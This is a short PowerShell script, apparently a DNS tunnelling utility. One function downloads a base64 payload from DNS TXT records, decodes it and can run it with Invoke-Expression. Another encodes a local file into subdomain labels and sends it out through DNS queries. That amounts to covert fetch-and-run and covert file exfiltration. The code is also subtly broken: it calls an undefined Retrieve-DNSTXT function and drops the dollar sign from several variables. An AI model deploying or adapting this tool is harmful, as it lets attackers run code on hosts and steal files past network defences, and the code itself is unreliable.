Function Get-DNSTXT {
[ CmdletBinding ( ) ] param (
[ string ] $Domain
)
return ( Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000 ) . Replace ( " { " , " " ) . Replace ( " } " , " " ) . Trim ( )
}
Function Get-DNSFile {
[ CmdletBinding ( ) ] param (
[ string ] $Filename = $ ( Read-Host -Prompt 'Enter a Filename' ) ,
[ string ] $DNSName = $ ( Read-Host -Prompt 'Enter a DNSName' ) ,
[ switch ] $Execute ,
[ switch ] $Write ,
[ string ] $OutPath
)
$count = [ int ] ( Retrieve-DNSTXT -Domain " $Filename .count. $DNSName " )
$file_base64 = " "
For ( $i = 0 ; $i -le $count ; $i + + ) {
$file_base64 + = ( Retrieve-DNSTXT -Domain " $Filename . $i . $DNSName " )
}
" Base64 $file_base64 "
$file_string = [ Text.Encoding ] :: Utf8 . GetString ( [ Convert ] :: FromBase64String ( $file_base64 ) )
" String $file_string "
If ( $Execute . IsPresent ) {
$file_string | Invoke-Expression
} Else {
$file_string | Out-String
}
If ( $Write . IsPresent ) {
$file_string | Out-File -FilePath ( $OutPath , $Filename ) [ ! $OutPath ]
}
}
function Push-DNSFile {
[ CmdletBinding ( ) ] param (
[ string ] $Filename = $ ( Read-Host -Prompt 'Enter a Filename' ) ,
[ string ] $DNSName = $ ( Read-Host -Prompt 'Enter a DNSName' ) ,
[ string ] $Prefix = " "
)
$content_binary = Get-Content -Path $Filename -Encoding utf8
$content_base64 = [ Convert ] :: ToBase64String ( [ Text.Encoding ] :: UTF8 . GetBytes ( $content_binary ) )
$i = 0
While ( $content_base64 ) {
$url = " . $( Prefix ) $( i ) 0. $( DNSName ) "
$len = 63 - $url . Length
$content_part = $content_base64 . Substring ( 0 , $len )
$content_base64 = $content_base64 . Substring ( $len )
Get-DNSTXT -Domain ( $content_part + $url )
$i + +
}
}